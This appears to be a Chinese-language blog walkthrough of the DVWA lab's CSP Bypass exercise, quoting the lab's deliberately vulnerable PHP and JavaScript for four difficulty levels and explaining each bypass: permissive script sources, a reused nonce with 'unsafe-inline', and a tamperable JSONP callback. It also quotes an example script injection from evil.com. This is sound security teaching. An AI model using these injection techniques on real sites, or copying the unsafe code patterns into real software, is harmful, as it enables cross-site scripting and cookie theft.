DVWA靶场之十三:CSP 绕过(Content Security Policy (CSP) Bypass)

DVWA靶场之十三:CSP 绕过(Content Security Policy (CSP) Bypass)


CSP(Content Security Policy,内容安全策略) 是浏览器的一种安全机制,用来防止网页加载或执行不安全的内容,特别是 防止 XSS(跨站脚本攻击)。

它让网站开发者告诉浏览器:

"我只信任从哪些地方加载资源(如脚本、样式、图片),其它地方的资源都不要执行。"

举个例子:

php 复制代码
Content-Security-Policy: script-src 'self'

这条规则的意思是:

"只允许执行来自本站(self)域名的 JavaScript,不允许执行来自其他域的脚本。"

如果攻击者往网页里注入了 <script src="http://evil.com/hack.js"></script>,浏览器就会拒绝加载这个脚本,因为 CSP 不允许从 evil.com 加载。

本练习/题目的目的是在存在 CSP 的页面上找到实现 JS 执行的方式(通常因为 CSP 配置不当或实现错误),从而演示该配置的弱点。


1. low

php 复制代码
<?php

$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com https://digi.ninja ;"; // allows js from self, pastebin.com, hastebin.com, jquery, digi.ninja, and google analytics.

header($headerCSP);

# These might work if you can't create your own for some reason
# https://pastebin.com/raw/R570EE00
# https://www.toptal.com/developers/hastebin/raw/cezaruzeka

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    <script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
    <input size="50" type="text" name="include" value="" id="include" />
    <input type="submit" value="Include" />
</form>
<p>
    As Pastebin and Hastebin have stopped working, here are some scripts that may, or may not help.
</p>
<ul>
    <li>https://digi.ninja/dvwa/alert.js</li>
    <li>https://digi.ninja/dvwa/alert.txt</li>
    <li>https://digi.ninja/dvwa/cookie.js</li>
    <li>https://digi.ninja/dvwa/forced_download.js</li>
    <li>https://digi.ninja/dvwa/wrong_content_type.js</li>
</ul>
<p>
    Pretend these are on a server like Pastebin and try to work out why some work and some do not work. Check the help for an explanation if you get stuck.
</p>
';

只允许从下面这些来源加载或执行 JavaScript 脚本。

php 复制代码
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com https://digi.ninja ;";

Content-Security-Policy: CSP 安全策略头的名称。告诉浏览器要启用 CSP 检查
script-src指定允许执行 JavaScript 的来源
'self' 允许来自当前网站自身域名的脚本(例如 https://yourdomain.com/js/app.js)
https://pastebin.com 允许从 pastebin.com 域名加载脚本。之后的类似

low难度练习就是把下面网址放进去测试
可以工作的脚本

  1. alert.js
    原因:正常的JavaScript文件
    服务器返回:正确的Content-Type: application/javascript头
    结果:浏览器会执行这个脚本
  2. cookie.js
    原因:正常的JavaScript文件,正确的内容类型
    功能:显示你的cookies
    结果:浏览器会执行并显示cookie信息

不能工作的脚本

  1. alert.txt
    原因:文件扩展名为.txt
    服务器返回:Content-Type: text/plain
    结果:浏览器不会把文本文件当作JS执行
  2. forced_download.js
    原因:服务器设置了Content-Disposition: attachment头
    效果:强制浏览器下载文件而不是执行它
    结果:脚本不会被执行
  3. wrong_content_type.js
    原因:服务器强制设置Content-Type: text/plain
    即使文件扩展名是.js,但内容类型是纯文本
    结果:浏览器拒绝执行

2. medium

php 复制代码
<?php

$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";

header($headerCSP);

// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");

# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    " . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
    <input size="50" type="text" name="include" value="" id="include" />
    <input type="submit" value="Include" />
</form>
';

只允许从下面这些来源加载或执行 JavaScript 脚本。

php 复制代码
Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA='

script-src:这是在说"下面这些来源允许加载/执行 JavaScript"。

'self':允许来自本站域名的脚本。

'unsafe-inline':允许所有内联脚本执行(例如直接写在 的代码,或 HTML 属性里的事件处理器 οnclick="...")。这是一个非常宽松、风险较高的设置。

'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=':表示允许带有指定 nonce 值的内联 <script> 标签执行。TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA= 是 nonce 的 Base64 文本;解码后是 Never going to give you up。

实际上,要让某个内联脚本能执行,你在 HTML 中会写:<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">/* script */</script>

浏览器会比对标签上的 nonce 与 CSP 中的 nonce-...,相同就允许该内联脚本执行。

比如


3. high

vulnerabilities/csp/source/high.php

php 复制代码
<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";

header($headerCSP);

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    " . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
    <p>1+2+3+4+5=<span id="answer"></span></p>
    <input type="button" id="solve" value="Solve the sum" />
</form>

<script src="source/high.js"></script>
';

vulnerabilities/csp/source/high.js

php 复制代码
function clickButton() {
    var s = document.createElement("script");
    s.src = "source/jsonp.php?callback=solveSum";
    document.body.appendChild(s);
}

function solveSum(obj) {
    if ("answer" in obj) {
        document.getElementById("answer").innerHTML = obj['answer'];
    }
}

var solve_button = document.getElementById ("solve");

if (solve_button) {
    solve_button.addEventListener("click", function() {
        clickButton();
    });
}

严格的CSP策略

php 复制代码
$headerCSP = "Content-Security-Policy: script-src 'self';";
复制代码
只允许同源脚本 ('self')
禁止内联脚本 (没有unsafe-inline)
禁止外部域 (没有其他域名)

安全的代码结构

javascript 复制代码
// high.js - 使用JSONP方式安全加载数据
function clickButton() {
    var s = document.createElement("script");
    s.src = "source/jsonp.php?callback=solveSum";
    document.body.appendChild(s);
}

发现可以修改callback达到注入效果,这里使用burp

把solveSum改掉

可以得到


4. impossible

vulnerabilities/csp/source/impossible.php

php 复制代码
<?php

$headerCSP = "Content-Security-Policy: script-src 'self';";

header($headerCSP);

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    " . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.</p><p>The CSP settings only allow external JavaScript on the local server and no inline code.</p>
    <p>1+2+3+4+5=<span id="answer"></span></p>
    <input type="button" id="solve" value="Solve the sum" />
</form>

<script src="source/impossible.js"></script>
';

vulnerabilities/csp/source/impossible.js

php 复制代码
function clickButton() {
    var s = document.createElement("script");
    s.src = "source/jsonp_impossible.php";
    document.body.appendChild(s);
}

function solveSum(obj) {
    if ("answer" in obj) {
        document.getElementById("answer").innerHTML = obj['answer'];
    }
}

var solve_button = document.getElementById ("solve");

if (solve_button) {
    solve_button.addEventListener("click", function() {
        clickButton();
    });
}

这次没有callback函数了,完全消除了代码注入点

相关推荐
芝士小宇3 小时前
tcp 服务器的设计思路
服务器·网络·tcp/ip
智能化咨询3 小时前
【深度学习计算机视觉】10:转置卷积实战进阶——破解棋盘效应与工业级应用
网络
YoungLime4 小时前
DVWA靶场之一:暴力破解(Brute Force)
web安全
cililin4 小时前
第4章 文件管理
linux·服务器·网络·操作系统·unix
驰羽5 小时前
C++网络编程(三)TCP通信流程
服务器·网络·tcp/ip
驱动开发0076 小时前
虚拟摄像头VirtualUSB UVC CAMERA下载 支持将手机摄像头映射成PC端摄像头
驱动开发·安全·电脑
shylyly_6 小时前
Linux-> TCP 编程1
linux·网络·tcp/ip·echo·tcp编程
夏日漱石_6 小时前
tcp 服务器的设计思路
服务器·网络·tcp/ip
程序员三明治6 小时前
HTTPS 真的牢不可破吗?—— 中间人攻击与安全机制解析
网络协议·安全·https